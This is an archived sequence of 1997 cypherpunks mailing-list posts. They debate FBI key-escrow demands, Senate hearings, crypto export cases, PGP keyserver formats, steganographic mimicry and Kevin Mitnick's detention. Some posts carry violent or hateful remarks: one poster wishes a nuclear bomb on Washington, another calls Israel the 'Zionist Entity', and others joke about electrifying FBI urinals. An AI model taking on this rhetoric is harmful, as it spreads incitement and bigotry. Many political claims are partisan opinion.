Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNA+RZL04kQrCC2kFAQHqpAP9FRVbpvbHCV/bAZWmrZ2jlSKRxZ5OhS18
GPkF0NcgmtSrzujv0w1pc9W9eijGQxYK6YEabACaLT89hhhpzGtnvJpEypnMJJo5
BnHUtf1x6zGMIjvG3Bt9XQ5bShFkmXc90/CSxulTaijo/0wO6fk3PvTjJwwMIO9O
wsmwdQO1mXA=
=wBzK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 5 Sep 1997 17:12:43 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Show Me the Warheads!
In-Reply-To: <19970905040302.504.qmail@zipcon.net>
Message-ID: <Pine.GSO.3.95.970905050537.29026A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 4 Sep 1997, Mike Duvos wrote:

> In an interview to be aired on "60 Minutes" this Sunday, Alexandr
> Lebed, former Russian National Security Advisor, will reveal that
> his country has lost track of more than 100 nuclear bombs made to
> look like suitcases, and has no idea what happened to them.
> 
> Probably not a good time to visit the Zionist Entity. :)

Or live in Washington, DC! (Or New York, where I'll be spending part of
next week.)

It's about time to buy a farm in West Virginia and telecommute...

-Declan








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 5 Sep 1997 19:33:13 +0800
To: cypherpunks@toad.com
Subject: Re: Show Me the Warheads!
In-Reply-To: <19970905040302.504.qmail@zipcon.net>
Message-ID: <y01Jce13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Prof. Mike Duvos <enoch@zipcon.net> writes:

>
> In an interview to be aired on "60 Minutes" this Sunday, Alexandr
> Lebed, former Russian National Security Advisor, will reveal that
> his country has lost track of more than 100 nuclear bombs made to
> look like suitcases, and has no idea what happened to them.

I hope one of them is used to nuke Washington, Dc.

> Probably not a good time to visit the Zionist Entity. :)

Never a good time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 5 Sep 1997 20:08:34 +0800
To: cypherpunks@toad.com
Subject: Freeh Testimony
Message-ID: <1.5.4.32.19970905114426.0075d948@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Declan McCullagh we offer FBI Director
Freeh's September 3 testimony to the Judiciary 
subcommittee chaired by Senator Kyl:

   http://jya.com/fbi-gak.txt  (58K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 5 Sep 1997 21:19:10 +0800
To: cypherpunks@toad.com
Subject: High Profile Detainee Seeks Legal Help
Message-ID: <v0311074bb035a210bc7a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: evian@escape.com
Mime-Version: 1.0
Date:         Thu, 4 Sep 1997 16:56:25 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Evian Sim <evian@ESCAPE.COM>
Subject:      High Profile Detainee Seeks Legal Help
To:           CYBERIA-L@LISTSERV.AOL.COM

September 3, 1997

Mr. Kevin Mitnick has been detained in Federal custody without bail on
computer "hacking" allegations for over thirty months.  Having no financial
resources, Mr. Mitnick has been appointed counsel from the Federal Indigent
Defense Panel.  As such, Mr. Mitnick's representation is limited; his
attorney is not permitted to assist with civil actions, such as filing a
Writ of Habeas Corpus.

For the past two years, Mr. Mitnick has attempted to assist in his own
defense by conducting legal research in the inmate law library at the
Metropolitan Detention Center (hereinafter "MDC") in Los Angeles,
California.  Mr. Mitnick's research includes reviewing court decisions for
similar factual circumstances which have occurred in his case.  MDC prison
officials have been consistently hampering Mr. Mitnick's efforts by denying
him reasonable access to law library materials.  Earlier this year, Mr.
Mitnick's lawyer submitted a formal request to Mr. Wayne Siefert, MDC
Warden, seeking permission to allow his client access to the law library on
the days set aside for inmates needing extra law library time.  The Warden
refused.

In August 1995, Mr. Mitnick filed an administrative remedy request with the
Bureau of Prisons complaining that MDC policy in connection with inmate
access to law library materials does not comply with Federal rules and
regulations.  Specifically, the Warden established a policy for MDC inmates
that detracts from Bureau of Prison's policy codified in the Code of
Federal Regulations.

Briefly, Federal law requires the Warden to grant additional law library
time to an inmate who has an "imminent court deadline".  The MDC's policy
circumvents this law by erroneously interpreting the phrase "imminent court
deadline" to include other factors, such as, whether an inmate exercises
his right to assistance of counsel, or the type of imminent court deadline.
 For example, MDC policy does not consider detention (bail), motion, status
conference, or sentencing hearings as imminent court deadlines for
represented inmates.  MDC officials use this policy as a tool to subject
inmates to arbitrary and capricious treatment.  It appears MDC policy in
connection with inmate legal activities is inconsistent with Federal law
and thereby affects the substantial rights of detainees which involve
substantial liberty interests.

In June 1997, Mr. Mitnick finally exhausted administrative remedies with
the Bureau of Prisons.  Mr. Mitnick's only avenue of vindication is to seek
judicial review in a Court of Law.  Mr. Mitnick wishes to file a Writ of
Habeas Corpus challenging his conditions of detention, and a motion to
compel Federal authorities to follow their own rules and regulations.

Mr. Mitnick is hoping to find someone with legal experience, such as an
attorney or a law student willing to donate some time to this cause to
insure fair treatment for everyone, and to allow detainees to effectively
assist in their own defense without "Government" interference.  Mr. Mitnick
needs help drafting a Habeas Corpus petition with points and authorities to
be submitted by him pro-se.  His objective is to be granted reasonable
access to law library materials to assist in his own defense.

If you would like to help Kevin, please contact him at the following address:

        Mr. Kevin Mitnick
        Reg. No. 89950-012
        P.O. Box 1500
        Los Angeles, CA 90053-1500

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 5 Sep 1997 23:16:39 +0800
To: cypherpunks@toad.com
Subject: Stupid Senate Tricks, from The Netly News
Message-ID: <Pine.GSO.3.95.970905075044.29678E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 5 Sep 1997 07:50:39 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Stupid Senate Tricks, from The Netly News


**********

http://cgi.pathfinder.com/netly/opinion/0,1042,1344,00.html
   
The Netly News Network (http://netlynews.com/)
September 5, 1997

Stupid Senate Tricks        
by Declan McCullagh (declan@well.com)

        What do you get when you mix discussions of high technology and
   the Internet with the weak minds of the aging techno-half-wits in the
   U.S. Congress? Answer: a screwball dialogue that veers haphazardly
   between the idiotic and inane.    
   
        From the infamous father of the Communications Decency Act to the
   California senator who confuses computer mice with real rodents,
   Washington lawmakers rarely have a clue about the technology they try 
   to regulate. Now that Congress is back in session, the lawmakers will
   once again be muddling through press conferences and briefings with
   the help of hovering aides. But sometimes they try to make a go of it
   on their own -- and then the results aren't pretty.

[...]

        Both houses of Congress have their share of boobs. Rep. Sonny
   Bono (R-Calif.) -- once dubbed the dumbest member of Congress by
   Washingtonian magazine -- showed up at the National Press Club in July
   1996 ostensibly to talk about copyright and the Net. Instead, he
   rambled incoherently about Cher ("I hope she doesn't put on any more
   tattoos") and sang "I've Got You, Babe" to the audience. Bono's public
   relations director once told the Los Angeles Times that when her boss 
   was mayor of Palm Springs, she had to rewrite his agendas into script 
   form: "For call to order, I wrote 'sit.' For salute the flag, I wrote
   'stand up, face flag, mouth words.'" (Yet Bono was the only member of
   Congress with the balls to challenge FBI opposition to pro-privacy
   legislation at a hearing earlier this year. Go figure.)    
   
[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 5 Sep 1997 20:13:58 +0800
To: cypherpunks@toad.com
Subject: Junger v. DoC Docs
Message-ID: <1.5.4.32.19970905115647.00755b60@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer recent exchanges between Peter Junger's
attorney and BXA on the several encryption classification 
requests Peter described here a few days ago, including 
"twiddle," "fiddle," non-US PGP, ROT13, Adam Back's 
3-line of Perl RSA, Paul Leyland's one-time pad, RC2 and 
RC4, and crypto links to foreign sites:

   http://jya.com/pdj2.htm

Peter's message on this is at:

   http://jya.com/pdj-update.htm

And the original Junger v. DoS (now Junger v. DoC) 
case filings:

   http://jya.com/pdj.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 5 Sep 1997 20:18:30 +0800
To: cypherpunks@toad.com
Subject: Wayner on Crypto Mimicry
Message-ID: <1.5.4.32.19970905120120.0075023c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times, CyberTimes <http://www.nytimes.com>

September 5, 1997

Behind Encryption Debate: 
Using a Mimicry Applet 

By PETER WAYNER

What is the true meaning of a message? This is the question that
Louis J. Freeh, the director of the Federal Bureau of Investigation, would
like every Internet service provider to start wondering. 

------------------------------------------------------------------------
Related Article
Encryption Tops Wide-Ranging Net Agenda in Congress
(September 4, 1997) 
------------------------------------------------------------------------


In testimony before a Senate subcommittee on Wednesday, Freeh suggested that
the companies carrying the e-mail of the country should be able to provide a
way "for the immediate, lawful decryption of the communications or the
electronic information once that information is found by a judgeto be in
furtherance of a criminal activity or a national security matter." 

The only problem is that data is so easy to mutate that it is hard to
determine what is the true message. Even after discounting the jokes about
the doublespeak of politicians or the beautiful lies that lovers spin to
seduce, there are deeper questions of whether it is ever possible to find
the correct message in data. 

This applet shows how data can be mutated into innocent-sounding plaintext
with the push of a button. In this case, the destination is a voiceover from
a hypothetical baseball game between teams named the Blogs and the Whappers. 

The information is encoded by choosing the words, the players and the action
in the game. In some cases, one message will lead to a string of homeruns,
and in other cases a different message will strike out three players in a
row. See the FAQ for more information. 



The applet takes a few minutes to load. When it is ready, you'll see three
text-input windows. The first window is where you type the message that you
want the applet to encode. The second, larger window is where the
mimicry-encoded message appears. 

Mimicry can be reversed by pushing the second button. The output is
replicated at the bottom. Remember that any error in the text can mess up
the result. 

There are plenty of limitations to this system. It only sends uppercase
letters and spaces. Lowercase letters are converted to uppercase, and
anything else is converted into a space. 





How do I use to send "innocent" messages? 

Type your message into the top window, push the first button and then cut
the blather out of the second box. Most of the new browsers will let you do
this, but some older browsers don't have this capability. Upgrade to
Netscape Communicator 4.0 or Microsoft's Internet Explorer 3.0 for this
feature. 

To unscramble the "innocent" message, the receiver needs to call up this
page and paste your message into the second box and then push the second
button. The hidden message will appear in the bottom window. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 5 Sep 1997 21:19:24 +0800
To: cypherpunks@toad.com
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
Message-ID: <v0311074eb035a9653e61@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Thu, 4 Sep 1997 09:58:00 -0400 (EDT)
From: Peter F Cassidy <pcassidy@world.std.com>
To: dcsb@ai.mit.edu
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Peter F Cassidy <pcassidy@world.std.com>


Friends,

The campaign to bring all communications technologies under state/military
control is progressing almost exactly as planned. On my desk is the Jan.
1992 memorandum from Brent Scowcroft, former national security advisor to
Bush, outlining the digital telephony/crypto control strategy. The
president, Scowcroft wrote in the memorandum, had advised:

"Justice should go ahead now to seek a legislative fix to the digital
telephony problem, and all parties should prepare to follow through on the
encryption problem in about a year. Success with digital telephony will
lock in one major objective; we will have a beachhead we can exploit for
the encryption fix; and the encryption access options can be developed
more thoroughly in the meantime."

Digital Telephony legislation was passed in October of 1994 - after the
directors of the NSA and FBI visisted senators who were sitting on it and
placed holds on it - one for idealogical reasons, the other for
horsetrading later in the session. Within days the holds were removed, the
legislation flew through both houses in voice votes, if memory serves, and
Clinton, a war protester who has become a virtual puppet of the military
intelligence system in communications policy, signed it about a week
later. Everyone has a telephone yet the opposition couldn't muster enough
popular dissent to crush the legislation. This makes me fear for the
future of crypto, the conscious users of which define a much smaller
universe than telephone users.

Most interestingly, the FBI didn't even have real facts on wiretaps to
prove its case. A recent academic study indicates that the wiretapping
stats that the FBI used to "prove" its case - the absolute necessity of
wiretapping - were in large part falsified. (Starting in the early 90s,
requests for wiretapping suddenly shot up, while, if you check later, the
numbers of executions of the orders and subsequent arrests and
prosecutions stayed flat.)



PFC



>
> All encryption products sold or distributed in the U.S.
> must have a key escrow backdoor "like an airbag in a car,"
> law enforcement agents advised a Senate panel this
> afternoon.
>
> FBI Director Louis Freeh also told a Senate Judiciary
> subcommittee that "network service providers should be
> required to have some immediate decryption ability
> available" permitting agents to readily descramble
> encrypted messages that pass through their system.
>
> This marks the most aggressive push to date for
> mandatory domestic key escrow (or "key recovery"),
> which means someone else other than the recipient can
> decipher messages you send out. Now, the easiest way
> to win such a political tussle in Washington is to
> control the terms of the debate. And nobody
> understands that rule better than Sen. Jon Kyl
> (R-Arizona), chair of the Judiciary subcommittee on
> technology, terrorism, and government information.
>
> Kyl opened today's hearing not by saying its purpose
> was to discuss crypto in a balanced manner, but that
> he wanted "to explore how encryption is affecting the
> way we deal with criminals, terrorists, and the
> security needs of business." Then he talked at length
> about "criminals and terrorists" using crypto, and
> child pornographers "using encryption to hide
> pornographic images of children that they transmit
> across the Internet."
>
> Kyl also stacked the three panels. Out of seven
> witnesses, five were current or former law enforcement
> agents. No privacy or civil liberties advocates
> testified. Some companies including FedEx apparently
> dropped out when told they'd have to pay lip service
> to key escrow if they wanted to speak.
>
> Dorothy Denning, a Georgetown University professor of
> computer science, did testify. Kyl made a point of
> asking her if she still supported key escrow systems
> (two recent articles by Will Rodger and Simson
> Garfinkel said she was changing her mind). "I think
> key recovery offers a very attractive approach,"
> Denning said. What about export controls? "In the
> absence of any controls, the problem for law
> enforcement would get worse," she replied.
>
> But when Sen. Dianne Feinstein (D-Calif) asked if
> Denning would support a *mandatory* key escrow system,
> the computer scientist said she wouldn't. "No, because
> we don't have a lot of experience we key recovery
> systems... a lot of people are legitimately nervous."
>
> (Keep in mind that although Feinstein supposedly
> represents Silicon Valley, she's no friend of high
> tech firms. She opposes lifting export controls; in
> fact, she says that "nothing other than some form of
> mandatory key recovery really does the job" of
> preventing crime. Of course, Feinstein doesn't have a
> clue. She talks about whether businesses would want "a
> hard key or digital key or a key infrastructure." Yes,
> folks, this is in fact meaningless blather.)
>
> Marc Rotenberg, director of the Electronic Privacy
> Information Center in Washington, DC, says, "Simply
> stated, the Senate train is headed in the wrong
> direction. But of course this doesn't answer the
> question of what will ultimately be resolved by
> Congress? There's a very popular measure in the House
> right now that's heading in a different direction."
>
> Rotenberg is talking about Rep. Bob Goodlatte's SAFE
> bill, which is much more pro-business than S.909,
> the McCain-Kerrey Senate bill that Kyl supports. Now,
> S.909 doesn't mandate key recovery; it only strongly
> encourages it by wielding the federal government's
> purchasing power to jumpstart a key recovery
> infrastructure.
>
> But Kyl would go further. At a recent Heritage
> Foundation roundtable on encryption, I asked him, "Why
> not make key recovery technology mandatory -- after
> all, terrorists, drug kingpins and other criminals
> won't use it otherwise. Kyl's response? Not that it
> would be a violation of Constitutional due process and
> search and seizure protections or a bad idea. Instead,
> he told me he simply didn't have enough votes...
>
> -Declan
>
> --- end forwarded text
>
>
>
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/
>
>
>
> For help on using this list (especially unsubscribing), send a message to
> "dcsb-request@ai.mit.edu" with one line of text: "help".
>


For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 5 Sep 1997 23:53:45 +0800
To: declan@well.com
Subject: Re: Show Me the Warheads!
In-Reply-To: <19970905040302.504.qmail@zipcon.net>
Message-ID: <v03102801b035d98eb5a4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:06 AM -0700 9/5/97, Declan McCullagh wrote:
>On Thu, 4 Sep 1997, Mike Duvos wrote:
>
>> In an interview to be aired on "60 Minutes" this Sunday, Alexandr
>> Lebed, former Russian National Security Advisor, will reveal that
>> his country has lost track of more than 100 nuclear bombs made to
>> look like suitcases, and has no idea what happened to them.
>>
>> Probably not a good time to visit the Zionist Entity. :)
>
>Or live in Washington, DC! (Or New York, where I'll be spending part of
>next week.)
>
>It's about time to buy a farm in West Virginia and telecommute...

Or buy the farm in Northern Virginia-Maryland?

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Helm <helm@fionn.es.net>
Date: Sat, 6 Sep 1997 01:10:19 +0800
To: cypherpunks@ssz.com
Subject: Re: PGP Keyservers and 5.0 DSS/D-H Keys...
In-Reply-To: <3.0.3.32.19970903224658.03486844@mail.atl.bellsouth.net>
Message-ID: <199709051659.JAA14306@fionn.es.net>
MIME-Version: 1.0
Content-Type: text/plain



There are 2 main flavors of pgp key servers, AND 2 main flavors
of pgp.  One keyserver (the Graff keyserver) uses perl + a pgp
binary to manage keys.  This has both a mail & web interface
available for it.  The other keyserver (the Horowitz keyserver)
uses its own data management routines to manage keys & is independent
of a pgp binary (which raises some integrity issues, but is
a big win).  It has a mail interface & runs a server interface
on a preselected unprivileged port.  The newer version (0.9,2) of the
Horowitz server is compatible with the new formats of the pgp 5.0
"packets".

The 2 main flavors of pgp, or pgp binaries, are 2.6.x based,
the old public available version that everyone has, & the new
pgp 5.x version that's just been released by pgp, inc.  A
windows binary is available from the company & a public release
of the source is available & is being worked on.

To address the specific question, the 2.6.x pgp binaries cannot
understand the new pgp 5.0 keys.  They can understand pgp 5.0 keys
if pgp 5.0 has chosen to make rsa-style keys.  So keyservers running
the Graff server using pgp 2.6x binary will reject or ignore new
style pgp keys.  It was a frequent poster to this list, whose 
"add" transaction bounced on ESnet's keyserver, that alerted me to the
appearance of  a beta version of the pgp 5.0 product early this spring.

There are also hybrid key servers; people who use features of both
the Horowitz & Graff key servers.  It appears to me that they mostly
use the pgp binary to get check the cryptographic integrity of
submitted keys.

If you want to read about keyservers, check
http://www-swiss.ai.mit.edu/~bal/pks-faq.html
as well as the pgp pages at mit & pgp.net
If you want to read about the pgp 5.0 effort,
http://www.ifi.uio.no/pgp/

There are also keyserver variants & historical versions of pgp of course.

The Horowitz server & the pgp 5.0 source are both very new.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@communities.com>
Date: Sat, 6 Sep 1997 02:05:27 +0800
To: cypherpunks@toad.com
Subject: Key Recovery is Bad for US Security
Message-ID: <3.0.32.19970905103052.00700338@homer.communities.com>
MIME-Version: 1.0
Content-Type: text/plain



Here is a copy of an email I sent to the senior senator from California
this morning.

Senator Feinstein:

I am extremely disturbed to read your comments in favor of mandatory "key
recovery".  Besides being a disaster for American software companies, and a
clear violation of the constitution's protections of freedom of speech,
these systems are harmful to the security of the United States.

All cryptographic systems are extremely difficult to get right.  The SSL
protocol developed by Netscape Inc., which doesn't provide for "key
recovery", went through three versions before the major problems were
removed.  "Key recovery" systems are, as Professor Dorothy Denning
testified, much more complex than similar systems which do not include that
feature.  In fact, the key recovery system built into Clipper, with the
advice of the National Security Agency, had flaws as documented by Matt
Blaze of AT&T Bell Laboratories.  If the best cryptographic group in the
world can't get it right, how can we expect these systems to be secure.

What do we risk with insecure systems?  We risk compromising the legitimate
secrets of non-classified government agencies, including IRS records;
United States companies, including delicate international negotiations; and
individual Americans, including their medical records.  Even worse, if some
group should decide to launch an information war attack on the United
States, these flaws may allow them to access sensitive systems in the
finance, transportation, and energy sectors.  One simple way this attack
could occur is if the access codes are distributed using a flawed
encryption system.

I hope you will reconsider your stand on this issue.

William S. Frantz
16345 Englewood Ave.
Los Gatos, Ca 95032

Capability Security Architect - Electric Communities


Bill Frantz                                  Electric Communities
Capability Security Guru                     10101 De Anza Blvd.
frantz@communities.com                       Cupertino, CA 95014
408/342-9576                                 http://www.communities.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RTFM <rtfm@ctrl-alt-del.com>
Date: Sat, 6 Sep 1997 02:32:42 +0800
To: cypherpunks@toad.com
Subject: Re: EFF $10,000,0000 Challenge
In-Reply-To: <2C5khz1Qq/5Whpq4Zl9wkQ==@bureau42.ml.org>
Message-ID: <3.0.2.32.19970905111015.03f7c1e0>
MIME-Version: 1.0
Content-Type: text/plain



At 05:31 PM 9/5/97 GMT, bureau42 Anonymous Remailer wrote:
>We at the Electronic Forgery Foundation realize that some of you wise
>guys are thinking that, for $10 million, it is well worth your while
>to write a program that will decipher the above message into something
>meaningful. Well, knock yourself out, dudes, but if you think that
>known forgers couldn't possibly be lying about the $10 million, then
>go directly to http://www.clueserver/fucking_idiot, do not pass GO
>and do not collect $200.

Clueserver.org would like to deny any connection to the above forgery
contest.  We are, in fact, working on our own contest involving a delivery
of e-cash to the first person who can predict the time and date of the
urinals in the FBI headquarters being electrified.  (Bonus e-cash if Freeh
is the first to pee in one.)

rtfm@clueserver.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sat, 6 Sep 1997 02:55:49 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:Krispin Preaches Revolution!
Message-ID: <199709051839.LAA24256@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:47 AM 9/4/97 -0700, Tim May wrote:
> And this is what I think they may try: a global crackdown to try to stamp
> out the wildfire of anarchocapitalism before it spreads beyond any hope of
> control.

I think it already too late:  A global crackdown, by creating a visible
confrontation, would simply accellerate matters.  If instead they simply
rely on social inertia, it will take a long time for existing institutions
to fade away.

We have all victories except for one very important one.  Money.

Now once we take that key bastion, and it is being besieged on every 
front, everything else will fall in due course, but it will still be 
a slow process, only unusually far sighted politicians will see and 
fear what is happening.  There is vast inertia in social institutions.

> Louis Freeh is no dummy. He understands the power struggle. But he has to
> speak babytalk to Feinswine and Kyl to let them glimpse what the issues are.

Career civil servants have more reason to take the long view than do 
politicians.  Politicians do not really care if the state is being
undermined in the long run, provided they are re-elected in the short
run.  Although politicians are our enemies, they are a lesser enemy than
career civil servants.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sat, 6 Sep 1997 02:50:08 +0800
To: Filtered Cypherpunks List <cypherpunks@toad.com>
Subject: Re: FCPUNX:FBI calls for mandatory key escrow
Message-ID: <199709051839.LAA24267@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:40 AM 9/4/97 +0200, Anonymous wrote:
>  Who is going to stop them? They have the guns! When our elected
> officials in Congress delved into the INSLAW affair, the Department 
> of Justice told them to "Fuck off." and refused to cooperate with 
> those who represent the citizens. Congress's reaction was to say, 
> "Yup. They're defying us."
>  Ipso facto--Congress is not running the country. The LEA's are running
> the country. Go figure...

It used to be that normal federal agencies did not have their own goons.

They relied on the fibbies.

Now every federal agency is creating their own goon squad.  Sometimes
they send in the goons to illegally enforce the laws that they are 
lobbying for.  Congress then has to make it legal, or crack down on
illegal use of force by a federal agency.  Frequently they make it
legal

This is reminiscent of the latter days of the Soviet Union.

Towards the end in the Soviet Union, armed government agencies
would raid other agencies for valuables, and set up road blocks
at random times and places, and confiscate anything valuable
being trucked through by another government agency.  No kidding.

A government factory would be working on producing widgets, and
suddenly guys with guns would come in and take their stuff for
another government factory.

The west is beginning to show the same symptoms, though as yet
not nearly as severe.  The state is visibly losing cohesion, and
at the same time, through improved communications, the citizenry
is gaining cohesion.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 5 Sep 1997 23:57:55 +0800
To: cypherpunks@toad.com
Subject: DCSB: A Future Garrisoned
Message-ID: <v0311075cb035d878452d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@mail.shipwright.com
Mime-Version: 1.0
Date: Fri, 5 Sep 1997 08:55:11 -0400
To: dcsb@ai.mit.edu, dcsb-announce@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: DCSB: A Future Garrisoned
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>

-----BEGIN PGP SIGNED MESSAGE-----



               The Digital Commerce Society of Boston

                            Presents
                          Peter Cassidy
                     Author, Technology Analyst

                        A Future Garrisoned:
                    How Long Can Military Fiat
               Control Digital Commerce Technologies?



                      Tuesday, October 7, 1997
                             12 - 2 PM
                 The Downtown Harvard Club of Boston
                   One Federal Street, Boston, MA




It is the wonderful American expectation of the new that informs a
belief that what is technically possible is inevitable. Peter Cassidy's
presentation - "A Future Garrisoned: How Long Can Military Fiat Control
Digitial Commerce Technologies?" - will measure the political distance
between what is possible in digital commerce and the reality of trying to
establish it in the face of a campaign of disruption orchestrated by as
influential an actor as the military-intelligence complex.
	Mr. Cassidy will discuss the decades-long twilight engagement that
has been fought between the military intelligence agencies and the
civilian sector since the late 1970s when it became apparent that
cryptography would not long remain the preserve of the military without
political intervention. (In his research, Mr. Cassidy has discovered that
military intelligence agencies in the United States have a larger scope of
interest in communications technologies than that which makes its way into
the mass media, including such vital parts of the modern infrastructure as
the civilian telephone network.)
	Mr. Cassidy will extrapolate what political and industrial
barriers this campaign of disruption presents for the wide-scale adoption
of strong cryptographic technologies, digital specie and other electronic
financial instrumentation - such as adaption of Federal Reserve policy to
the digital commerce space. As well, Mr. Cassidy will look at the routes
of evasive action that are taken by creative digital commerce pioneers to
end-run the most palpable of military barriers to electronic commerce: the
export control regulations.


For the public presses, Peter Cassidy covers technology, white collar
crime and national affairs and, for research firms, he authors analyses on
technologies and their relevant markets. His reportage and opinion pieces
have appeared in WIRED, Forbes ASAP, The Economist, The Covert Action
Quarterly, The Progressive, The Texas Observer, Telepath Magazine, Bankers
Monthly, American Banker, InformationWeek, CFO Magazine, OMNI, The Boston
Sunday Globe, Boston Magazine, The Sunday Sacramento Bee, ComputerWorld,
National Mortgage News, Mortgage Technology, The International Digital
Media Yearbook (Japan), NetscapeWorld, CIO Magazine, Webmaster Magazine,
Datamation Magazine, World Trade Magazine and dozens of magazines and
newspapers worldwide. Several of his pieces have been included in
anthologies and college social studies texts. His expertise in information
technologies has garnered him contracts with some of the most prestigious
industrial research firms in America - Giga Information Group, Dataquest,
CI-InfoCorp, Business Research Group, Inc., a subsidiary of Cahners/Reed
Elsevier, and NSI Information Services - for whom he has authored analyses
on a range of subjects including cryptography and the network security
industry.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, October 7, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, October 4, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00. Please include your e-mail
